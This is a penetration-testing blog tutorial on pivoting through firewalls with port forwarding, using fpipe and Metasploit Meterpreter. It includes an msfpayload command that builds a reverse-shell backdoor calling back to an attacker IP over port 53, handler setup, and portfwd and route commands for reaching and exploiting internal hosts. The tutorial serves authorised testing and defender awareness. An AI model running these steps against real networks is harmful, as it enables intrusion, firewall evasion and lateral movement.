Bypassing firewalls with port forwarding - part 1

Many of you may have faced a big problem while trying to (legally!) gain access to internal network systems & services while you`ve began your attack from outside of boarders of target network : Firewall rules .
Assuming you`ve already gained access to at least one host which is linked to internal network , you know there are many other systems there inside, and many interesting services you should play with . The only problem is that you can not access them through internet , and gained shell is not powerful enough to let you do all of your post-exploitation tasks through it . So you should looks for a way to get rid of this limitation and freely browse and probe internal network . so called reverse shells may be your first try , but they are usually too simple and not powerful enough for what we`re going to do . Inthis post I`ll review some effective ways of doing so , in various situations . As a network administrator , you`ll also learn that how opening even one single port in your outbound ACL can put your whole internal network at sever risk.

First of all , let me explain what 'port forwarding' is .
Consider host "A" , hos "B" in middle , and host "C" . Host A should connect to host C in order to do something , but for any reason it`s not possible , but host B can directly connect to C . If we use host B in middle , to get connection stream from A and pass it to B while taking care of connection , we say host B is doing port-forwarding . Assuming the whole forwarding is happening to gain access to SSH on host C , this is how it`s happening from tcp/ip point of view:
Host B runs a software/service/wrapper that opens a listening socket ( tcp/20 for example) and wait for incoming connections . Host C ( real ssh-server) is also listening to 22/tcp . Running software on B is defined to pass any incoming connection on opened port to host C and on port 22/tcp . So if host A connect to 22/tcp of B , sent packets to this port are automatically relayed to C , port 22/tcp.

Right like many other terms used in attacks , port-forwarding is also divided into normal port-forwarding and reverse ( remote ) port forwarding . Above ABC sample was normal one .

In reverse port-forwarding , the case is again preparing connection between A & C through B . But this time it`s C who begin the connection . In a flat network design both of these can be same , but if you place host A in internet , host C in deep protected zones of internal network , and host B at boarder of protected network , things change a little bit !

Fpipe , WinRelay & DataPipe.exe are three free and simple tools designed to do simple port-forwarding . Let`s use fpipe.exe to implement above scenario and quickly move to more advanced hints. We run fpipe.exe with below parameters on host "B" , and host "A" have to ssh to host "B" . Now fpipe.exe will handle incoming connection ( -l 22 ) , and pass it to remote host and defined port ( -r 22 host-c ) . Nothing strange nor complex.

fpipe.exe -l 22 -r 22 host-C

Ok , let`s make scenario more real-world . what if even host "B" is behind firewall and no chance to open any port ? what if we can`t even send a single packet to host "B" , while host B is the only system in network which is allowed to connect to "C" ? hmm , this looks a hard scenario , but not really . In this scenario it`s also considered that host C ( final destination) is not allowed to send any packet to internet , but host B is allowed to send packets to internet , only if destination port is 53 . I don`t mind how you may have compromised host B at all . You may have done so by exploiting a client-side vulnerability on it , and got back your reverse-shell at response .

In such situation , tools like fpipe.exe will not help you much. Since we already have a negotiated connection between A and B we should it in most effective way because if we loose this connection before stabilizing our access (with a reverse-connecting trojan for example), we have to re-exploit the target which is not always possible .

For win32 targets , my favorite tool-set to bypass the firewall and get into internal network is Metasploit , with Meterpreter loaded as payload of exploit . Even if I`m not using one of MSF exploits to gain access , I use 'msfpayload' withing the framework to generate a raw binary output of Meterpreter , and use it as a single executable trojan .
What make Meterpreter a great post-exploitation tool for this case , is it`s port-forwarding capability . It`s great becase :

• Meterpreter do NOT open any new connection between you (host A) and B , beside it`s negotiated session . All new communication channels are encapsulated in current session.
• You can define multiple forwarding rules over a single Meterpreter session .
  
• You can view/add/remove forwarding rules as you go while it`s running .
  
• you can do many other things with Met. while port-forwarding is handled in background
• Finally , you can directly exploit host C if Meterpreter is used within the framework , like when it`s load after successfully exploitng something .

If you just want to use benefits of Meterpreter , and have your own exploit ready , here`s how to generate the executable payload for being executed on host B :

msfpayload windows/meterpreter/reverse_tcp LPORT=53 LHOST=1.2.3.4 EXITFUNC=thread X > met-reverse-backdoor.exe

I think the syntax is clear enough . LHOST have the IP of host A , where backdoor will connect to . LPORT is the port backdoor connects to , on host A . I used 53 because this port is usually not filtered on firewalls . Now you should transfer met-reverse-backdoor.exe to host B , and get ready to execute it . Since this is not a normal payload and is an advanced multi-stage payload we should use it`s specific handler/client which is available in Metasploit . Let`s run the meterpreter handler . Launch the metasploit console , and :

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 53
LPORT => 53
msf exploit(handler) > exploit
[*] Started reverse handler
[*] Starting the payload handler...

Now you`re ready to execute built .exe on host B . after that , you`ll see incoming connection on console , let the payload completely load and alert about opened session .
'portfwd' is the meterpreter command we`ll work with . try it without any parameter to get help , and read meterpreter documentations for farther info and details .

Let`s assume we want to connect to terminal-service on host C , directly from host A . With help of port-forwarding of Meterpreter , it`s matter of a command . In met. console run :

portfwd -a -L 127.0.0.1 -l 444 -h {IP of host C here} -p 3389

Let me explain above command if it`s not clear .

with (-a) we ADD a new port-forwarding rule .

(-L) defines the IP address to bind forwarded socket to . Since we`re running these all on host A , and want to continue work from the same host , we set 127.0.0.1 . If host A have multiple IPs and you want to bind to specific IP , you can set it here .
(-l) is the port number which will be opened on host A , for accepting incoming connections. it can be any free port on your system .
(-h) defines the IP address of host C , or any other host withing the internal network .
(-p) The port you want to connect to , on host C. Since we`re going to use terminal-service , it`s 3389 .

Now on host A , try to connect to terminal service through forwarded socket . to do so from console :

c:\>mstsc.exe /v:127.0.0.1:444

Congratulations . You`ve successfully bypassed firewall and got your reverse-connection terminal service session .
Same steps can be used for almost any TCP service . Unfortunately UDP services are not supported in Meterpreter .

But hey , I mentioned DIRECTLY exploiting intenral hosts from host A. Does it mean for every service we`re going to exploit, we should define a forwarding rule ? no .
Metasploit have a nifty option (command) called 'route' . While you`re in Meterpreter session if you ask for help you`ll see a 'route' command , but this is not our one . After met. session successfully loaded ( first opened session will be named as '1' ) , in console press Ctrl-z . This will get you back to Metasploit console , while keeping the meterpreter session open in background .
Run below command to confirm availability of session :

msf exploit(handler) > sessions -l

Active sessions
===============

Id Description Tunnel
-- ----------- ------
1 Meterpreter 127.0.0.1:53 -> 1.2.3.4:1913

Now type 'route' and check given help for syntax . Yes , this is what I was talking .

msf exploit(handler) > route
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]

Route traffic destined to a given subnet through a supplied session.
The default comm is Local.

Our targetted internal network uses 10.10.0.1/24 network addressing . Host C internal IP is 10.10.0.5 . We want to exploit host D with IP address 10.10.0.6 . The lame way is to define a port-forwarding rule in met. , and send exploit payload to 127.0.0.1:{defined port} like what we did for terminal-service . But the better way is using 'route' :

msf exploit(handler) > route add 10.10.0.1 255.255.255.0 1
msf exploit(handler) > route print

Active Routing Table
====================

Subnet Netmask Gateway
------ ------- -------
10.10.0.1 255.255.255.0 Session 1

msf exploit(handler) >

Above means we`ve successfully added the route . and what it means to Metasploit ?
It means that any time you set RHOST in any of you exploits in framework that match this routing rule , the exploit will be routed automatically by meterpreter to it`s destination network , transparently . Now to exploit 10.10.0.6 ( host D ) , all you have to do is '>set RHOST 10.10.0.6' in framework . All greets goes for HD Moore and Skape for preparing such cool framework :)

In part 2 of this topic , I`ll explain how to do port-forwarding trick with ssh , without any special third-party tool but the ssh client .


[Updated 23 April ] :

I had to mention two other third-party tools related to this topic , but as I was in hurry while sending it , seems I`ve completely forgot them . Anyway here are those two :

SocketNinja.pl , old part of Metasploit ( 2.x ) branch which is a pretty useful tool for this purpose IMO . You can get it from here , and read more about it here . It was my favorite pivoting tool for a while .

Reverse Proxy Multi-threading Engine by Team 514 guys , which can be assumed as a stand-alone clone of Meterpreter port-forwarding . While being pretty cool and poweful tool , I didn`t found the code-base stable enough for hardcore works or heavy duty jobs, and code needs optimization . Test it in your labs before using it in real-world missions .